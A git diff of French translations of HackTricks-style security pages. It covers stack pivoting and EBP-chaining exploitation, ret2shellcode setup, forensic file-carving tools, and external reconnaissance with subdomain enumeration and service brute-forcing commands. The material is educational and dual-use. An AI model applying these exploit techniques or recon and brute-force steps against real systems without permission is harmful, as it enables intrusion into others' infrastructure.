-- 32 bits, pas d'ASLR, double petit débordement, d'abord pour déborder la pile et agrandir la taille du deuxième débordement
+- 32 bits, pas d'ASLR, double petit débordement, premier à déborder la pile et agrandir la taille du second débordement
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -12,13 +12,13 @@ mov       ebp, esp
 pop       ebp
 ret
 ```
-Et comme le **EBP est dans la pile** avant le EIP, il est possible de le contrôler en contrôlant la pile.
+Et comme l'**EBP est dans la pile** avant l'EIP, il est possible de le contrôler en contrôlant la pile.
 
 ### EBP2Ret
 
 Cette technique est particulièrement utile lorsque vous pouvez **modifier le registre EBP mais n'avez aucun moyen direct de changer le registre EIP**. Elle exploite le comportement des fonctions lorsqu'elles terminent leur exécution.
 
-Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où l'adresse de votre shellcode est située (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement le EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
+Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où l'adresse de votre shellcode est située (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement l'EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
 Notez que vous **devez connaître 2 adresses** : celle vers laquelle l'ESP va aller, où vous devrez écrire l'adresse pointée par l'ESP.
 
 #### Construction de l'Exploit
@@ -28,24 +28,24 @@ Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des do
 Ensuite, vous devez connaître l'adresse utilisée par `ret` qui **exécutera du code arbitraire**. Vous pourriez utiliser :
 
 - Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget).
-- L'adresse de **`system()`** suivie de **4 octets de junk** et l'adresse de `"/bin/sh"` (x86 bits).
+- L'adresse de **`system()`** suivie de **4 octets de junk** et de l'adresse de `"/bin/sh"` (x86 bits).
 - L'adresse d'un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie du **shellcode** à exécuter.
-- Une chaîne [**ROP**](../rop-return-oriented-programing/)
+- Une chaîne [**ROP**](../rop-return-oriented-programing/index.html)
 
 Rappelez-vous qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** à cause de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième EBP factice** et continuer à contrôler l'exécution.
 
 #### Exploit Off-By-One
 
-Il existe une variante spécifique de cette technique connue sous le nom d'"Off-By-One Exploit". Elle est utilisée lorsque vous pouvez **uniquement modifier l'octet le moins significatif de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.\
-En général, c'est l'octet 0x00 qui est modifié pour sauter aussi loin que possible.
+Il existe une variante spécifique de cette technique connue sous le nom d'"Off-By-One Exploit". Elle est utilisée lorsque vous pouvez **uniquement modifier l'octet le moins significatif de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.\
+En général, on modifie l'octet 0x00 pour sauter aussi loin que possible.
 
 De plus, il est courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouvel ESP pointe à l'intérieur du RET SLED et que la chaîne ROP finale soit exécutée.
 
 ### **Chaînage EBP**
 
-Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans `EIP`, il est possible de **déplacer l'ESP vers l'adresse EBP contrôlée depuis la pile**.
+Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans `EIP`, il est possible de **déplacer l'`ESP` vers l'adresse `EBP` contrôlée depuis la pile**.
 
-Maintenant, le **`ESP`** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer à l'endroit contrôlé de l'ESP ceci :
+Maintenant, l'**`ESP`** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer à l'emplacement ESP contrôlé ceci :
 
 - **`&(next fake EBP)`** -> Charger le nouvel EBP à cause de `pop ebp` de l'instruction `leave`
 - **`system()`** -> Appelé par `ret`
@@ -54,7 +54,7 @@ Maintenant, le **`ESP`** est contrôlé pointant vers une adresse désirée et l
 
 Fondamentalement, de cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
 
-C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
+C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
 
 De plus, ici vous avez un [**exemple d'un défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page :
 ```python
@@ -94,7 +94,7 @@ print(p.recvline())
 ```
 ## EBP pourrait ne pas être utilisé
 
-Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, le **EBP n'arrive jamais à contrôler l'ESP**, donc, toute exploitation fonctionnant en contrôlant l'EBP échouera essentiellement car elle n'a pas d'effet réel.\
+Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, le **EBP ne contrôle jamais l'ESP**, par conséquent, toute exploitation fonctionnant en contrôlant l'EBP échouera essentiellement car elle n'a pas d'effet réel.\
 C'est parce que les **prologues et épilogues changent** si le binaire est optimisé.
 
 - **Non optimisé :**
@@ -188,7 +188,7 @@ Vérifiez la technique ret2esp ici :
 - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
 - 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
 - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
-- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou le pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite du pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans la .bss et finit par l'appeler en pivotant avec RBP.
+- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou le pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite du pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
 
 ## ARM64
 
@@ -213,7 +213,7 @@ ret
 ```
 
 > [!CAUTION]
-> La façon de réaliser quelque chose de similaire au pivotement de pile dans ARM64 serait de pouvoir **contrôler le `SP`** (en contrôlant un registre dont la valeur est passée à `SP` ou parce que pour une raison quelconque `SP` prend son adresse de la pile et que nous avons un dépassement) et ensuite **abuser de l'épilogue** pour charger le registre **`x30`** à partir d'un **`SP`** **contrôlé** et **`RET`** vers celui-ci.
+> La façon de réaliser quelque chose de similaire à un pivot de pile dans ARM64 serait de pouvoir **contrôler le `SP`** (en contrôlant un registre dont la valeur est passée à `SP` ou parce que pour une raison quelconque `SP` prend son adresse de la pile et que nous avons un dépassement) et ensuite **abuser de l'épilogue** pour charger le registre **`x30`** à partir d'un **`SP`** contrôlé et **`RET`** vers celui-ci.
 
 Aussi, sur la page suivante, vous pouvez voir l'équivalent de **Ret2esp en ARM64** :
 

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Désactive l'exécutable indépendant de la position, ce qui facilite la prévision de l'adresse mémoire où notre shellcode sera situé.
 - `-m32`: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour la simplicité dans le développement d'exploits.
 
-### Exploit Python utilisant Pwntools
+### Python Exploit using Pwntools
 
 Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode** :
 ```python
@@ -72,9 +72,9 @@ Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la chance que l'exé
 
 ## Protections
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **protection de la pile** empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
+- La protection **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
 
 ## Autres Exemples & Références
 

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -1,4 +1,4 @@
-# Outils de Carving & de Récupération de Fichiers/Données
+# File/Data Carving & Recovery Tools
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -14,7 +14,7 @@ L'outil le plus couramment utilisé en criminalistique pour extraire des fichier
 
 **Binwalk** est un outil pour analyser des fichiers binaires afin de trouver du contenu intégré. Il est installable via `apt` et sa source est sur [GitHub](https://github.com/ReFirmLabs/binwalk).
 
-**Commandes utiles** :
+**Commandes utiles**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
@@ -40,11 +40,11 @@ scalpel file.img -o output
 
 Cet outil est inclus dans Kali, mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
-Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et plus de **fichiers**. Vous n'avez qu'à faire :
+Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et d'autres **fichiers**. Vous n'avez qu'à faire :
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez [**Analyse des Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés à **des logiciels malveillants** ou **inexistants**).
+Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **Analyse des Pcaps**](../pcap-inspection/index.html)), recherchez des **domaines étranges** (domaines liés à des **malwares** ou **inexistants**).
 
 ### PhotoRec
 
@@ -63,15 +63,15 @@ Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
 - Visualiseur de **structure** visuel et actif
 - Plusieurs graphiques pour différents points de focalisation
 - Focalisation sur des portions d'un échantillon
-- **Voir les chaînes et les ressources**, dans des exécutables PE ou ELF, par exemple
+- **Voir les chaînes et ressources**, dans des exécutables PE ou ELF par exemple
 - Obtenir des **modèles** pour la cryptanalyse sur des fichiers
 - **Repérer** des algorithmes de packer ou d'encodeur
-- **Identifier** la stéganographie par des modèles
+- **Identifier** la stéganographie par des motifs
 - **Différenciation** binaire visuelle
 
-BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de boîte noire.
+BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de black-boxing.
 
-## Outils de Carving de Données Spécifiques
+## Outils de Data Carving spécifiques
 
 ### FindAES
 
@@ -79,9 +79,9 @@ Recherche des clés AES en cherchant leurs plannings de clés. Capable de trouve
 
 Téléchargez [ici](https://sourceforge.net/projects/findaes/).
 
-## Outils Complémentaires
+## Outils complémentaires
 
-Vous pouvez utiliser [**viu**](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
+Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
 Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md

@@ -10,7 +10,7 @@ L'outil le plus couramment utilisé en criminalistique pour extraire des fichier
 
 **Binwalk** est un outil pour rechercher des fichiers binaires comme des images et des fichiers audio à la recherche de fichiers et de données intégrés.  
 Il peut être installé avec `apt`, cependant la [source](https://github.com/ReFirmLabs/binwalk) peut être trouvée sur github.  
-**Commandes utiles** :
+**Commandes utiles**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
@@ -34,13 +34,13 @@ scalpel file.img -o output
 ```
 ## Bulk Extractor
 
-Cet outil est inclus dans Kali mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Cet outil est inclus dans Kali, mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
 Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et plus **de fichiers**. Vous n'avez qu'à faire :
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-Naviguez à travers **toutes les informations** que l'outil a rassemblées \(mots de passe ?\), **analysez** les **paquets** \(lisez [**Analyse des Pcaps**](../pcap-inspection/)\), recherchez des **domaines étranges** \(domaines liés à **malware** ou **inexistants**\).
+Naviguez à travers **toutes les informations** que l'outil a rassemblées \(mots de passe ?\), **analysez** les **paquets** \(lisez [ **Analyse des Pcaps**](../pcap-inspection/index.html)\), recherchez des **domaines étranges** \(domaines liés à **des logiciels malveillants** ou **inexistants**\).
 
 ## PhotoRec
 

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -31,20 +31,20 @@ foremost -v -i file.img -o output
 ```
 ### **Scalpel**
 
-**Scalpel** est un autre outil qui peut être utilisé pour trouver et extraire **des fichiers intégrés dans un fichier**. Dans ce cas, vous devrez décommenter dans le fichier de configuration (_/etc/scalpel/scalpel.conf_) les types de fichiers que vous souhaitez extraire.
+**Scalpel** est un autre outil qui peut être utilisé pour trouver et extraire **des fichiers intégrés dans un fichier**. Dans ce cas, vous devrez décommenter dans le fichier de configuration (_/etc/scalpel/scalpel.conf_) les types de fichiers que vous souhaitez qu'il extraye.
 ```bash
 sudo apt-get install scalpel
 scalpel file.img -o output
 ```
 ### Bulk Extractor
 
-Cet outil est inclus dans Kali mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Cet outil est inclus dans Kali, mais vous pouvez le trouver ici : [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
-Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et plus **de fichiers**. Vous n'avez qu'à faire :
+Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **des informations réseau (URLs, domaines, IPs, MACs, mails)** et d'autres **fichiers**. Vous n'avez qu'à faire :
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **Analyse des Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés à **malware** ou **inexistants**).
+Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez [**Analyse des Pcaps**](../pcap-inspection/index.html)), recherchez des **domaines étranges** (domaines liés à des **malwares** ou **inexistants**).
 
 ### PhotoRec
 
@@ -63,7 +63,7 @@ Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
 - Visualiseur de **structure** visuel et actif
 - Plusieurs graphiques pour différents points de focalisation
 - Focalisation sur des portions d'un échantillon
-- **Voir les chaînes et ressources**, dans des exécutables PE ou ELF par exemple
+- **Voir les chaînes et ressources**, dans des exécutables PE ou ELF, par exemple
 - Obtenir des **modèles** pour la cryptanalyse sur des fichiers
 - **Repérer** des algorithmes de packer ou d'encodeur
 - **Identifier** la stéganographie par des motifs
@@ -71,7 +71,7 @@ Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
 
 BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de black-boxing.
 
-## Outils de Carving de Données Spécifiques
+## Outils de Data Carving spécifiques
 
 ### FindAES
 
@@ -79,7 +79,7 @@ Recherche des clés AES en cherchant leurs plannings de clés. Capable de trouve
 
 Téléchargez [ici](https://sourceforge.net/projects/findaes/).
 
-## Outils Complémentaires
+## Outils complémentaires
 
 Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
 Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -4,13 +4,13 @@
 
 ## Découvertes d'actifs
 
-> On vous a dit que tout ce qui appartient à une entreprise est dans le champ d'application, et vous voulez découvrir ce que cette entreprise possède réellement.
+> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez découvrir ce que cette entreprise possède réellement.
 
 L'objectif de cette phase est d'obtenir toutes les **entreprises détenues par la société principale** et ensuite tous les **actifs** de ces entreprises. Pour ce faire, nous allons :
 
-1. Trouver les acquisitions de la société principale, cela nous donnera les entreprises dans le champ d'application.
+1. Trouver les acquisitions de la société principale, cela nous donnera les entreprises dans le périmètre.
 2. Trouver l'ASN (s'il y en a un) de chaque entreprise, cela nous donnera les plages IP détenues par chaque entreprise.
-3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisation, domaines...) liées à la première (cela peut être fait de manière récursive).
+3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive).
 4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive).
 
 ### **Acquisitions**
@@ -19,16 +19,16 @@ Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par
 Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **chercher** la **société principale**, et **cliquer** sur "**acquisitions**". Là, vous verrez d'autres entreprises acquises par la principale.\
 Une autre option est de visiter la page **Wikipedia** de la société principale et de rechercher les **acquisitions**.
 
-> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le champ d'application. Découvrons comment trouver leurs actifs.
+> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Découvrons comment trouver leurs actifs.
 
 ### **ASNs**
 
 Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\
 Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique clairement définie pour accéder aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
 
-Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** à l'intérieur de ces IP.\
-Vous pouvez **chercher** par **nom** d'entreprise, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
-**Selon la région de l'entreprise, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
+Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** à l'intérieur du **périmètre** et de **chercher des domaines** à l'intérieur de ces IP.\
+Vous pouvez **chercher** par nom de société, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
+**Selon la région de la société, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
 ```bash
 #You can try "automate" this with amass, but it's not very recommended
 amass intel -org tesla
@@ -51,14 +51,14 @@ bbot -t tesla.com -f subdomain-enum
 [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
 
 ```
-Vous pouvez trouver les plages IP d'une organisation également en utilisant [http://asnlookup.com/](http://asnlookup.com) (il a une API gratuite).\
+Vous pouvez trouver les plages IP d'une organisation en utilisant également [http://asnlookup.com/](http://asnlookup.com) (il a une API gratuite).\
 Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com).
 
 ### **Recherche de vulnérabilités**
 
 À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
-De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment réaliser des tests de pénétration sur plusieurs services possibles en cours d'exécution.\
-**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** brute-forcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment pentester plusieurs services possibles en cours d'exécution.\
+**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
 ## Domaines
 
@@ -171,17 +171,17 @@ Apparemment, il est courant que des personnes assignent des sous-domaines à des
 
 Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans Shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
 
-Vous pourriez accéder au **certificat TLS** de la page principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **Shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **Shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
 **Assetfinder**
 
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines liés** à un domaine principal et ses **sous-domaines**, assez incroyable.
+[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines liés** à un domaine principal et ses **sous-domaines**, assez incroyable.
 
 ### **Recherche de vulnérabilités**
 
-Vérifiez pour une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
+Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais a **perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
 
-Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\
+Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
 &#xNAN;_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
 
 ## Sous-domaines
@@ -250,7 +250,7 @@ vita -d tesla.com
 ```bash
 theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
 ```
-Il existe **d'autres outils/APIs intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
+Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
 
 - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines
 ```bash
@@ -321,7 +321,7 @@ Vous pouvez trouver une **comparaison** de nombreux outils ici : [https://blog.b
 
 ### **DNS Brute force**
 
-Essayons de trouver de nouveaux **sous-domaines** en forçant les serveurs DNS avec des noms de sous-domaines possibles.
+Essayons de trouver de nouveaux **sous-domaines** en forçant les serveurs DNS en utilisant des noms de sous-domaines possibles.
 
 Pour cette action, vous aurez besoin de quelques **listes de mots de sous-domaines courants comme** :
 
@@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
 ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
 grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
 ```
-- [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci, je pense, utilise juste 1 résolveur.
+- [**gobuster**](https://github.com/OJ/gobuster) : Celui-ci, je pense qu'il utilise juste 1 résolveur.
 ```
 gobuster dns -d mysite.com -t 50 -w subdomains.txt
 ```
@@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
 
 #### Génération de permutations intelligentes
 
